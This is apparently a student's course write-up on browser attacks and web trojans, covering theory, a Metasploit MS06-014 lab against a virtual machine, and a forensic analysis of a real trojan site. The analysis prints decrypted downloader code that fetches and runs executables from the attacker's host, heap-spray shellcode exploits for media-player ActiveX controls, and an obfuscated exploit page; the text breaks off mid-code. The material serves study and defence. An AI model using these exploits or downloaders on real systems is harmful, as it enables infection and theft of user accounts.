20199114 2019-2020-2 《网络攻防实践》第十二周作业

20199114 2019-2020-2 《网络攻防实践》第十二周作业

一、实践内容

1. Web浏览器的技术发展与安全威胁

1.1 Web浏览器战争与技术发展

Web浏览器是目前互联网用户最常用的客户端软件,可以帮助用户浏览Web服务器上的文件,并让用户与这些文件进行交互,在Web浏览器的帮助下,互联网用户能够迅速及轻易的浏览万维网上的文字、图像、视频等各种形态的信息内容,以及访问各种形式与用途的Web应用程序。

现代浏览器的基本结构与机理

现代Web浏览器指的是能够符合“现行标准”,并被互联网用户所接受使用的Web浏览器软件。目前的现代Web浏览器要求能够理解和支持HTML和XHTML、CSS、ECMAScript及W3C DOM等一系列标准,现代浏览器基本结构如下图所示,需要支持各种应用层协议的Stream流接收与解析,并维护DOM对象模型结构,通过支持EMCAScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境,以及支持CSS标准控制页面的布局,最终在浏览器终端中将服务器端的各种流媒体对象、应用程序、客户端脚本执行效果进行渲染,展现给终端用户。

现代Web 浏览器软件除了在内核引擎中实现符合各种标准的基本功能和特性之外,普遍地采用各种扩展机制允许第三方开发一些插件,以提升浏览器软件功能的丰富性。

除了扩展插件机制之外,现代Web 浏览器还通过各种客户端脚本执行环境、独立沙箱运行环境和虚拟机,来支持构造具有桌面应用程序特性的富 Internet 应用。

1.2 Web浏览的安全问题与威胁

Web浏览器作为目前互联网时代最为重要的软件产品,正遭遇着软件安全困境三要素的问题,即复杂性、可扩展性和连通性。

Web浏览器软件的安全困境三要素

复杂性:在复杂性方面,现代 Web 浏览器软件由于需要支持HTTP、HTTPS、FTP 等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、 Flash、Java、SilverLight 等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞大。现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。

可扩展性:而已客户端脚本代码也是现代浏览器由于可扩展性所面临的主要安全威胁,攻击者可以在网站中连接恶意的JavaScript脚本代码,或者恶意Flash文件,当浏览器软件装载这些而已客户端脚本代码,将会在浏览器端进行执行,从而被渗透攻击与利用。

连通性:浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。

Web浏览安全威胁位置

如同Web应用服务器端一样,Web浏览环境中的每个组件也都面对着各种不同类型的安全威胁:

  • 针对传输网络的网络协议安全威胁:网络是连接Web应用服务端与客户端浏览环境的媒介,因此对于Web浏览端而言,与Web服务器端同样面临着网络传输协议安全攻击与威胁。
  • 针对Web浏览端系统平台的安全威胁:互联网用户在浏览网页过程中所使用的浏览器软件、插件即相关应用程序都运行在桌面操作系统之上,桌面操作系统所存在的安全漏洞使得Web浏览环境存在着被攻击的风险。
  • 针对Web浏览器软件及插件程序的渗透攻击威胁:恶意攻击者在地下经济链的驱动下,通过客户端程序攻击向互联网用户桌面像系统中植入恶意木马程序,窃取隐私信息并以此谋取非法利益。
  • 针对互联网用户的社会工程学攻击威胁:恶意攻击者会利用进行Web浏览的互联网用户本身所存在的人性、心理等方面的弱点,实施社会工程学攻击,来尝试骗取互联网用户的敏感个人隐私信息,典型的该类安全威胁是目前常见的网络钓鱼攻击。

2. Web浏览端的渗透攻击威胁——网页木马

2.1 网页木马安全威胁的产生背景

“网页木马”在国内简称“网马”,某种意义上来说网页木马也具有特洛伊木马的特性——即被隐蔽地挂接在一些提供真实内容的网页上,用户在访问这些网页时,网页木马会隐蔽地向用户计算机中植入恶意程序,与传统的木马程序相比,网页木马还是具有较大的差异性,并体现出更高复杂性。

网页木马的产生与发展背景

网页木马是从恶意网页脚本所孕育和发展出来的。

网页木马发展与流行的驱动力——黑客地下经济链

窃取和出售虚拟资产获取非法盈利的地下经济链在国内黑帽子社区中持续运营了多年,也在驱动着网页木马这一安全威胁一直危害着普通互联网用户。网络虚拟资产盗窃的“黑客”地下经济链中包括下列六种不同类型的参与者:

  • 病毒编写者:病毒编写者是由经济利益驱动的一些恶意骇客,他们拥有一定程度的计算机编程能力和技术背景,能够获取公开揭露的漏洞和相应渗透攻击代码信息,并且有能力根据公开的漏洞报告和渗透攻击代码开发他们自己的破解工具或木马程序,然后他们出售这些恶意代码以及躲避杀毒软件的免杀服务进行获利。

  • 黑站长/网站骇客:一些个人网站站长利用免得资源吸引了许多访问者,但其中部分黑站长经常出卖他们的顾客,通过植入恶意脚本将网站流量出售给“信封”盗窃者。

  • “信封”盗窃者:“信封”是地下经济链中的行话,指的是窃取的账号和密码信息。“信封”盗窃者只需掌握很少的攻击技能,他们通常从病毒编写者那里购买木马或木马产生器,从黑站长/网站骇客那里购买网站流量,而他们只需要利用这些资源就可以构建网页木马网络,从而窃取各种类型的“信封”。

  • 虚拟资产盗窃者:虚拟资产盗窃者可以没有任何技术知识,但他们对地下经济链有深入的了解,他们了解什么网游比较流行,什么样的虚拟资产能卖个好价钱。

  • 虚拟资产卖家:地下经济链中的另一个重要参与者是虚拟资产卖家,他们创建在线虚拟商店,构成了产业链的流通环节,这些商店在国内主要的在线交易平台上都很常见。虚拟资产卖家从地下黑市低价购买所取的虚拟资产,然后在公开市场上向玩家出售,由于购买和出售的价格存在较大差异,他们得以从中获得收益。

  • 玩家:玩家是网络游戏、即时通信软件增值服务的狂热用户,他们通常是以青少年为主,由于对游戏等在线娱乐的痴迷和狂热,他们经常花费大量金钱购买虚拟资产,构成了地下经济链的基础。

网页木马存在的技术基础——Web浏览端安全漏洞

网页木马存在如下特性:

  • 网页木马所攻击的安全漏洞的存在位置非常多样化。
  • 一些流行应用软件中的安全漏洞留给网页木马的攻击时间窗口往往更长。
  • 一些影响范围广的安全漏洞会被网页木马持续利用,以攻击长时间不进行系统升级与补丁升级或者安装老旧操作系统版本的互联网用户计算机。

2.2 网页木马的机理分析

网页木马的定义特性

DEF:网页木马是对Web浏览端软件进行客户端渗透攻击的一类恶意移动代码,通常以网页脚本语言如JavaScript、VBScript实现,或以Flash、PDF等恶意构造的Web文件形式存在,通过利用Web浏览端软件中存在的安全漏洞,获得客户端计算机的控制权限以植入恶意程序。

对网页木马机理的全方位分析与理解

由于网页木马采用的是客户端渗透攻击的形式,需要 Web 浏览端软件来访问构造的恶意 Web 页面内容,才可能触发渗透攻击过程。因此,网页木马的攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。

此外在网页木马通过渗透攻击获得客户端计算机的远程代码执行权限之后,一般需要植入一些盗号木马等类型的恶意程序。因此实施网页木马攻击往往涉及较为复杂的多步骤攻击场景,并需要多种类型的恶意代码及网络资源。

网页木马的攻击技术流程:

上述流程构造出的网页木马攻击网络具有区别于传统的二进制恶意代码的如下特性:

  • 多样化的客户端渗透攻击位置和技术类型
  • 分布式、复杂的微观链接结构
  • 灵活多变的混淆与对抗分析能力

网页木马的本质核心——浏览器渗透攻击

网页木马的本质核心是利用Web浏览端软件安全漏洞的渗透攻击代码。

另外一类更为常见的网页木马渗透攻击代码是利用了被称为堆内存操纵的技术来实施的。

网页挂马机制

DEF:编写完网页木马渗透攻击代码之后,为了使得能够有终端用户使用可能存在安全漏洞的Web浏览端软件来访问网页木马,攻击者还需要将网页木马挂接到一些拥有客户访问流量的网站首页上的过程,

网页挂马最主要有如下四类策略:

  • 内嵌HTML标签

    内嵌HTML标签,如iframe、frame等,将网页木马链接嵌入到网站首页或其他页面中。为了达到更好的隐蔽性和灵活性,攻击者还经常利用层次嵌套和内嵌标签,引入一些中间的跳转站点并进行混淆,从而构建复杂且难以追溯的网页木马攻击网络。

  • 恶意Script脚本

    第二类也是很常用的网页挂马策略是利用script脚本标签通过外部引用脚本的方式来包含网页木马。跳转脚本通常使用document.write动态生成包含网页木马链接的iframe内嵌标签,或者比较少见的windows.open函数弹出一个新的HTML窗口链接网页木马进行攻击。

  • 内嵌对象链接

    第三类网页挂马策略利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载。这种挂马技术能够产生出一些包含网页木马链接的图片或Flash文件,通过向一些允许用户上传图片和Flash文件的网站进行上传从而造成这些网站特定页面被挂马的危险后果。

  • ARP欺骗挂马

    这种方法不需要真正的攻陷目标网站,在攻击安全防护严密的拥有大量访问用户的著名网站时非常有效,在同一以太网网段内,攻击者通过ARP欺骗方法就可以进行中间人攻击,劫持所有目标网站出入的网络流量,并可在目标网站的HTML反馈包中注入任意的恶意脚本,从而使其成为将网络访问流量链接至网页木马的挂马站点。

混淆机制

网页木马攻击网络中还采用了大量的混淆技术,来对抗反病毒软件的检测,并提高反病毒工程师的分析难度,从而使得网贞木马攻击网络更难被检测和推毁,这些混淆技术也被称为“免杀”。

目前在网页木马中使用比较广泛的混淆方法主要有:

  • 将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析
  • 通过大小写变换、十六进制编码、escape 编码、unicode 编码等方法对网页木马进行编码混淆;
  • 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚木语言中包含的解密函数,对密文进行解密,再使用document.write () 或 eval () 进行动态输出或执行,此类混淆方法例如 XXTEA网页加密工;
  • 利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行;
  • 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。

2.3 网页木马的检测与分析技术

基于特征码匹配的传统检测方法

在网页木马作为一种新形态的恶意代码产生后,反病毒软件公司仍延用恶意脚本代码静态分析过程来提取出其中具有样本特异性的特征码,然后在线更新至反病毒客户端软件中,使用传统的基于特征码检测方法来尝试从互联网用户上网浏览过程中检测出网页木马,难以对抗威胁。

基于统计与机器学习的静态分析方法

为应对网页木马普遍采用的代码混淆机制,研究人员采用了多种统计与机器学习方法对混淆及行为特征进行检测,但该类方法实质上是针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,同时随着脚本代码混淆技术在源代码版权保护等正常渠道中的广泛应用,这类未能针对网页木马本质特征的检测方法也将造成大量的误报情况,不适用于实际场景。

基于动态行为结果判定的检测分析方法

最为有效的一种方法,这种方法利用了网页木马在攻击过程中向互联网用户主机植入并激活恶意程序的行为特性,通过构建包含典型 Web 访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动进程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木码。

基于模拟浏览器环境的动态分析检测方法

网页木马的混淆机制本质上是利用了浏览器中脚本引繁对脚本代码的解释执行能力,因此安全领域的研究者最新引入了一种基于模拟浏览器环境的动态分析检测方法,还原出网页木马在混淆之前的真实形态,并进一步结合反病毒引擎扫描、异常检测、安全漏洞模拟与特征检测等方法对网页木马进行分析和检测。

网页木马检测分析技术综合对比

针对网页木马的检测分析方法,主要分为静态和动态分析两大类。

静态分析方法试图通过特征码匹配和机器学习方法,在网页木马的外在形态层次上构建出较为准确的检测方法,这类方法对于灵活多变的网页木马形态而言,不可避免地存在无法应对变形或未知攻击的缺陷。

动态行为分析方法实质上是从网页木马的外部表现行为出发,根据网页木马成功攻击客户端软件后对系统造成的行为后果进行判定,该类方法仅能判定是否网页木马,而无法提供目标组件、利用漏洞位置与类型等更为全面的攻击语义信息。

基于模拟浏览器环境的动态分析检测方法,在应对脚本语言特有的混淆变形机制,恢复网页木马原始形态方面取得了良好的效果,并能够进一步结合脚本源码的静态结构分析以及安全漏洞特征检测方法,来达到更好的检测效果。

防范措施

  • 提升操作系统与浏览端平台软件的安全性
  • 安装与实时更新反病毒软件
  • 养成安全上网浏览的良好习惯
  • 安装Mac OS/Linux操作系统,使用Chrome、Safari、Opera等冷门浏览器

3. 网络钓鱼的黑幕

网络钓鱼是社会工程学在互联网中广泛实施的一种典型攻击方式,通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息。

网络钓鱼攻击的普遍技术流程:

  1. 攻击者扫描网段,寻找存有漏洞的服务器;
  2. 服务器被攻陷,并被安装一个 Rootkit 或口令保护的后门工具;
  3. 攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭配置与测试工作,使得钓鱼网站上线运行;
  4. 攻击者下载群发电子邮件工具,并大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件;
  5. 网页浏览的流量开始到达钓鱼网站,潜在的受害者开始访问假冒的钓鱼网贞内容,并受欺骗给出个人敏感信息,攻击者通过服务器后台脚本收集这些个人敏感信息。

具体的欺骗技巧:

  1. 在指向假冒网站的链接中使用IP地址代替域名;
  2. 注册发音相近或形似的DNS域名;
  3. 在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些只想真实的目标网站链接;
  4. 对假冒网站的URL进行编码和混淆;
  5. 企图攻击用户和网页浏览器存在的漏洞,使之隐藏消息内容的实质;
  6. 将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志,然后将用户重定向到真实网站。
  7. 架设一个假冒网站,作为目标机构真实网站的代理;
  8. 通过恶意代码在受害者计算机上安装恶意浏览器助手,将受害者重定向到假冒的钓鱼网站;
  9. 使用恶意代码去修改受害者计算机上的用来维护DNS域名和IP地址映射的本地hosts文件。

防范:

  1. 提高警惕性;
  2. 充分利用浏览器、安全软件提供的反钓鱼网站的功能特性;
  3. 重视访问网站的真实性;
  4. 学习和修炼提升抵抗社会工程学攻击的能力

二、实践过程

动手实践——Web浏览器渗透攻击实验

Q:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程

环境:

虚拟机 IP Address
Kali 192.168.200.2
Win 2KS 192.168.200.124

A:

首先启动Kali,在Kali中打开Metasploit,如下图所示

接着输入search ms06-014查找使用的漏洞,输入use 0选择使用Metasploit中的MS06-014渗透攻击模块,然后输入show payload显示有效载荷。

6

在一众载荷中,输入use 3选择比较面熟的payload为远程shell连接,然后输入set srvhost 192.168.200.2设置服务器地址,这里url为默认,运行exploit,构造出而已网页木马脚本;

7

在Win 2KS的浏览器中,输入构造好的恶意网页的网址进行访问,如图所示:

8

随后,发现攻击机和靶机之间的会话开始建立,开始发送数据,如下图所示:

9

然后输入sessions查看会话列表,

10

输入sessions 1开启会话,如下图所示。

11

这时候!注意了,就可以在靶机上执行命令了,这里我输入getuid,得到server username,输入ifconfig,得到靶机的网络信息。

12

取证分析实践——剖析一个实际的网页木马攻击场景

Q:一个研究组发现了一个域名为 18dd.net 的挂马网站。在链接分析的过程中, 发现有大量恶意网页最终都重定向到了这个网站上。

  • 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
  • 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
  • 从解密后的结果来看,攻击者利用了那些系统漏洞?
  • 解密后发现了多少个可执行文件?其作用是什么?
  • 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?

A:

由于start.html已经不能访问,所以根据资料,给出部分分析。

首先,应该访问start.html,但该网站中包含而已网站入口,故使用记事本打开该网站源码。“搜索”找到new09.htm,同样使用记事本打开new09.htm。

在new09.html中,可以看出该文件用 iframe 引用了一个http://aa.18dd.net/aa/kl.htm, 又用 javascript 引用了一个 http://js.users.51.la/1299644.js

<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript"src="http://js.users.51.la/1299644.js"></script>

对引用的这两个地址做MD5散列,得到两个散列值:23180a42a2ff1192150231b44ffdf3d3 、7f60672dcd6b5e90b6772545ee219bd3

14

在提供的hashed文件夹中,找到散列值对应的文件,并用记事本打开。

第一个23180a42a2ff1192150231b44ffdf3d3对应的文件打开后,显示内容为//本文件内容是流量统计代码,不是木马,所以不是我们需要的内容。

第二个7f60672dcd6b5e90b6772545ee219bd3对应的文件打开后,是很复杂的代码,但是通过t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74')),可以知道这是XXTEA+BASE64的加密方法。

xxtea_decrypt函数的第二个参数就是密钥\x73\x63\x72\x69\x70\x74,这是使用了16进制加密,经过解密后,得到密钥为script

输入密钥解密后,再对出现的代码同样进行16进制解密,得到如下代码:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

该文件利用到了如下的漏洞程序:

漏洞名 程序
Adodb.Stream 微软数据库访问对象
MPS.StormPlayer 暴风影音
POWERPLAYER.PowerPlayerCtrl.1 PPStream
BaiduBar.Tool 百度搜霸

还引用了三个js文件和一个压缩包,分别为:1.js、b.js、pps.js、bd.cab,对这四个引用地址分别做MD5散列,得到四个散列值:5d7e9058a857aa2abee820d5473c5fa4、3870c28cc279d457746b3796a262f166、5f0b8bf0385314dbe0e5ec95e6abedc2、1c1d7b3539a617517c49eee4120783b2

先看第一个文件(1.js),打开后如图所示:

将其进行解密,得到如下代码:

var url="http://down.18dd.net/bb/014.exe";
try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");
xml.Open ("GET",url,0);xml.Send();as.type=1;as.open();
as.write(xml.responseBody);
path="..\\n tuser.com";
as.savetofile(path,2);
as.close ();
var shell=ado.createobject("Shell.Application","");
shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){} 

这个文件前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件, 后面部分是对 ADODB 漏洞的继续利用。

继续看b.js,打开后如图所示:

由第一行函数的参数为p、a、c、k、e、d可知为packed加密,经过解密得到如下代码:

var bigblock=unescape("%u9090%u9090");var headersize=20;var
shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c
"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u331
4%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59
e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1
%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc
6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa
75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343
%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u330
0%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"
+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff
%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u726
9%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%
u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44
%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u
3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");var
slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=b
igblock;fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigbl
ock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fill
block;memory=new Array();for(x=0;x<300;x++)memory[x]=block+shellcode;var
buffer='';while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)

看到了shellcode,shellcode一般都不长,因此 shellcode 很可能就是下载器。对于一个下载器来说,必不可少的一项内容就是要下载的内容的 URL,URL中必然出现的斜线“/”,“/”的十六进制 ASCII 码是2f。而且2f密集的地方最可疑,所以找出这个地方并解密得到http://down.18dd.net/bb/bf.exe

再看5f0b8bf0385314dbe0e5ec95e6abedc2使用八进制加密,解密后得到:

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + 
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000"+ "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (x=0; x<400; x++) memory[x] = block + shellcode; var buffer = ''; while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a"; pps.Logo = buffer 

采用之前的方法解密得到:http://down.18dd.net/bb/pps.exe,再对刚出现的三个exe文件进行MD5散列,得到:ca4e4a1730b0f69a9b94393d9443b979、268cbd59fbed235f6cf6b41b92b03f8e、ff59b3b8961f502289c1b4df8c37e2a4,查看014.exe,bf.exe,pps.exe,bd.exe四个文件的记事本,发现四个文件内容一样。

用PEiD,查看可执行文件的加壳情况,发现它是用Delphi写的,如图所示:

用IDA Pro反汇编这个exe文件,查看字符串,如图所示:

从上面我们可以做如下判断:

红框:这个程序要下载一堆木马。

橙框:这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时自动启动。

黄框:这个程序要对IE、注册表、服务和系统文件动手脚。

绿框:这个程序有一定的防系统保护软件的能力。

攻防对抗实践——Web浏览器渗透攻击攻防对抗

Q:

  • 攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
  • 防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

A:

上一个实践中已经得到了恶意URL,在浏览器中打开并查看源码,如下图所示:

发现该网页为了防止被杀毒软件发现,对关键指令做了字符串拼接处理,还使用了大量的空白。将代码提取出来,如下所示:

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=GB2312">	  
<title></title>
<script language="javascript">	 
function
CtzoijGBqVnRPoW(o ,	n) 
{
	var r =null;  	
	try
	{
		eval("r=o"+".C"+"re"+"ate"+"Ob" +"je"+"ct(n)"
		)
	}catch(e){}
	if(!r)
	{	
		try	
		{ eval("r=o"+".Cr"+"ea" +"teO"+"bj"+"ect(n,'')")	  
		}catch(e){} 		 
	}
	if(!r)
	{
		try{
		eval("r=o" +".Cr"+"ea"+ "teO"+"bj"+"ect(n,'','')"	)		
		}
		catch(e){}
	} 
	if(!r)
	{
		try{ 	 
		eval("r=o" +".Ge"+"tOb"+"je"+"ct('',n)") 
		}catch(e){}
	}
	if(!r)
	{
		try{ 	 
		eval("r=o" +".Ge"+"tOb"+"je"+"ct('',n)") 
		}catch(e){}
	}
	if(!r)
	{
		try{ 	 
		eval("r=o" +".Ge"+"tOb"+"ject(n)"    )
		}catch(e){}
	}
	return(r);			
} 		
function
bAoCAWsXBmscRmICUExUNRzdhQtXnmB(a)
{ 
	var s=iciyhBgNqsKoWCFSloxKOhdEdLZp(a,"W" +"Sc"+"ri" +"pt"+".S"+"he"+"ll");	 
	var o=iciyhBgNqsKoWCFSloxKOhdEdLZp(a,"A" +"DO"+"D"+"B.S"+"tr"+"eam");  	
	var e=s.Environment("P"+"ro"+"ce" +"ss"	);
	var url	=document.location +'/p'+'ay'+'lo'+'ad'; 
	var	xml = null;   
	var	bin	=e.Item("T" + "E"+"M" +	"P")+"\\EAvCXsyQQ"+ ".e"+"xe";	  
	var dat;  	 
	try
	{	
	xml=new XMLHttpRequest();	 		
	}
	catch(e)	 
	{
		try
		{
		xml=new ActiveXObject("Microsoft.XMLHTTP");
		} 
		catch(e)	
		{
		xml	= new ActiveXObject("MSXML2.ServerXMLHTTP");
		}
	}
	if(!xml)	  
	{
	return(0);
	} 
	xml.open("GET", url,false);  	
	xml.send(null); 
	dat =xml.responseBody;
	o.Type= 1 ;
	o.Mode= 3 ;
	o.Open();	   	
	o.Write(dat);
	o.SaveToFile(bin,2);
	s.Run(bin,0);
}			
function 
cKXvLrxFjXiBzS() 
{
var i=0;
var t=new Array( '{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'6'+'}','{'+'B'+'D'+'9'+'6'+'C'+'5'+'5'+'6'+'-'+'6'+'5'+'A'+'3'+'-'+'1'+'1'+'D'+'0'+'-'+'9'+'8'+'3'+'A'+'-'+'0'+'0'+'C'+'0'+'4'+'F'+'C'+'2'+'9'+'E'+'3'+'0'+'}','{'+'7'+'F'+'5'+'B'+'7'+'F'+'6'+'3'+'-'+'F'+'0'+'6'+'F'+'-'+'4'+'3'+'3'+'1'+'-'+'8'+'A'+'2'+'6'+'-'+'3'+'3'+'9'+'E'+'0'+'3'+'C'+'0'+'A'+'E'+'3'+'D'+'}','{'+'6'+'e'+'3'+'2'+'0'+'7'+'0'+'a'+'-'+'7'+'6'+'6'+'d'+'-'+'4'+'e'+'e'+'6'+'-'+'8'+'7'+'9'+'c'+'-'+'d'+'c'+'1'+'f'+'a'+'9'+'1'+'d'+'2'+'f'+'c'+'3'+'}','{'+'6'+'4'+'1'+'4'+'5'+'1'+'2'+'B'+'-'+'B'+'9'+'7'+'8'+'-'+'4'+'5'+'1'+'D'+'-'+'A'+'0'+'D'+'8'+'-'+'F'+'C'+'F'+'D'+'F'+'3'+'3'+'E'+'8'+'3'+'3'+'C'+'}','{'+'0'<h+'6'+'7'+'2'+'3'+'E'+'0'+'9'+'-'+'F'+'4'+'C'+'2'+'-'+'4'+'3'+'c'+'8'+'-'+'8'+'3'+'5'+'8'+'-'+'0'+'9'+'F'+'C'+'D'+'1'+'D'+'B'+'0'+'7'+'6'+'6'+'}','{'+'6'+'3'+'9'+'F'+'7'+'2'+'5'+'F'+'-'+'1'+'B'+'2'+'D'+'-'+'4'+'8'+